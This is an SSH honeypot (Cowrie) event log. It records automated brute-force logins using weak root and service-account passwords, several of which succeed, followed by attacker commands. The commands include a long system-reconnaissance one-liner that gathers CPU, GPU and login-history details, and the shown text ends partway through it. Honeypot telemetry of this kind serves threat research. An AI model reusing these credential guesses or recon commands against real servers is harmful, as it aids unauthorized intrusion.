{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:43.344530Z","src_ip":"139.19.117.129","session":"38626be29b9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:43.444383Z","src_ip":"139.19.117.129","session":"38626be29b9b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvUd/ZOkvsbY05wVY+K1fL3lD9Cgk4zLKXDZIQqTH+lVoUGRAtn88peI97fqSdARuMQT3s0Fcj0roSdOf259SCECKy/Qu6xyUY0Dn42ollgEBuXAElDbsf5lAlDz8zLJfgnLeOvrnj6gXQLmu/i44iDDjgPlwsf69xlRRA1Qi96N3HEQStI614sFwxtL2aPjUlCD2AxyKyKaRy02+b6Reul23EKpAI3mD1ctTGoU4dGqA1TAeZO9eVA7AgqdRC5C/1wykAI0NXR9gpjhPkWlw7qwP4JV7gWHcTxCrXwENFMO7md4Vug2Eyu6qg5oPysijuuJxMYAGDhaSyaO6f3lDp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:43.641066Z","src_ip":"139.19.117.129","session":"38626be29b9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvUd/ZOkvsbY05wVY+K1fL3lD9Cgk4zLKXDZIQqTH+lVoUGRAtn88peI97fqSdARuMQT3s0Fcj0roSdOf259SCECKy/Qu6xyUY0Dn42ollgEBuXAElDbsf5lAlDz8zLJfgnLeOvrnj6gXQLmu/i44iDDjgPlwsf69xlRRA1Qi96N3HEQStI614sFwxtL2aPjUlCD2AxyKyKaRy02+b6Reul23EKpAI3mD1ctTGoU4dGqA1TAeZO9eVA7AgqdRC5C/1wykAI0NXR9gpjhPkWlw7qwP4JV7gWHcTxCrXwENFMO7md4Vug2Eyu6qg5oPysijuuJxMYAGDhaSyaO6f3lDp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:43.644406Z","src_ip":"139.19.117.129","session":"38626be29b9b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvUd/ZOkvsbY05wVY+K1fL3lD9Cgk4zLKXDZIQqTH+lVoUGRAtn88peI97fqSdARuMQT3s0Fcj0roSdOf259SCECKy/Qu6xyUY0Dn42ollgEBuXAElDbsf5lAlDz8zLJfgnLeOvrnj6gXQLmu/i44iDDjgPlwsf69xlRRA1Qi96N3HEQStI614sFwxtL2aPjUlCD2AxyKyKaRy02+b6Reul23EKpAI3mD1ctTGoU4dGqA1TAeZO9eVA7AgqdRC5C/1wykAI0NXR9gpjhPkWlw7qwP4JV7gWHcTxCrXwENFMO7md4Vug2Eyu6qg5oPysijuuJxMYAGDhaSyaO6f3lDp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:43.743528Z","src_ip":"139.19.117.129","session":"38626be29b9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvUd/ZOkvsbY05wVY+K1fL3lD9Cgk4zLKXDZIQqTH+lVoUGRAtn88peI97fqSdARuMQT3s0Fcj0roSdOf259SCECKy/Qu6xyUY0Dn42ollgEBuXAElDbsf5lAlDz8zLJfgnLeOvrnj6gXQLmu/i44iDDjgPlwsf69xlRRA1Qi96N3HEQStI614sFwxtL2aPjUlCD2AxyKyKaRy02+b6Reul23EKpAI3mD1ctTGoU4dGqA1TAeZO9eVA7AgqdRC5C/1wykAI0NXR9gpjhPkWlw7qwP4JV7gWHcTxCrXwENFMO7md4Vug2Eyu6qg5oPysijuuJxMYAGDhaSyaO6f3lDp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:43.747653Z","src_ip":"139.19.117.129","session":"38626be29b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:44.043778Z","src_ip":"101.44.96.62","session":"838bafdd909e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:53.340277Z","src_ip":"139.19.117.129","session":"38626be29b9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":43400,"dst_ip":"159.203.135.109","dst_port":22,"session":"90c999e2f48f","protocol":"ssh","message":"New connection: 101.44.96.62:43400 (159.203.135.109:22) [session: 90c999e2f48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:55.472626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:55.482369Z","src_ip":"101.44.96.62","session":"90c999e2f48f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:55.690456Z","src_ip":"101.44.96.62","session":"90c999e2f48f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:56.546755Z","src_ip":"101.44.96.62","session":"90c999e2f48f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:57.766343Z","src_ip":"101.44.96.62","session":"90c999e2f48f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60864,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea938ded9ad0","protocol":"ssh","message":"New connection: 101.44.96.62:60864 (159.203.135.109:22) [session: ea938ded9ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:08.978842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:08.982273Z","src_ip":"101.44.96.62","session":"ea938ded9ad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:09.199138Z","src_ip":"101.44.96.62","session":"ea938ded9ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:09.850610Z","src_ip":"101.44.96.62","session":"ea938ded9ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:11.070054Z","src_ip":"101.44.96.62","session":"ea938ded9ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55156,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb1718d81767","protocol":"ssh","message":"New connection: 101.44.96.62:55156 (159.203.135.109:22) [session: bb1718d81767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:22.492799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:22.497548Z","src_ip":"101.44.96.62","session":"bb1718d81767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:22.715268Z","src_ip":"101.44.96.62","session":"bb1718d81767","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:23.369824Z","src_ip":"101.44.96.62","session":"bb1718d81767","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:23.838679Z","src_ip":"101.44.96.62","session":"bb1718d81767","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:23.841941Z","src_ip":"101.44.96.62","session":"bb1718d81767","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:24.063547Z","src_ip":"101.44.96.62","session":"bb1718d81767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:24.069368Z","src_ip":"101.44.96.62","session":"bb1718d81767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":34866,"dst_ip":"159.203.135.109","dst_port":22,"session":"93f8d75046f1","protocol":"ssh","message":"New connection: 91.92.240.199:34866 (159.203.135.109:22) [session: 93f8d75046f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:33.390118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:33.890667Z","src_ip":"91.92.240.199","session":"93f8d75046f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:33.895143Z","src_ip":"91.92.240.199","session":"93f8d75046f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":58382,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad3200bc68f2","protocol":"ssh","message":"New connection: 101.44.96.62:58382 (159.203.135.109:22) [session: ad3200bc68f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:35.980347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:35.984397Z","src_ip":"101.44.96.62","session":"ad3200bc68f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:36.199068Z","src_ip":"101.44.96.62","session":"ad3200bc68f2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1234567","message":"login attempt [root/1234567] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:36.277804Z","src_ip":"91.92.240.199","session":"93f8d75046f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:36.843300Z","src_ip":"101.44.96.62","session":"ad3200bc68f2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:07:37.865845Z","src_ip":"91.92.240.199","session":"93f8d75046f1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo 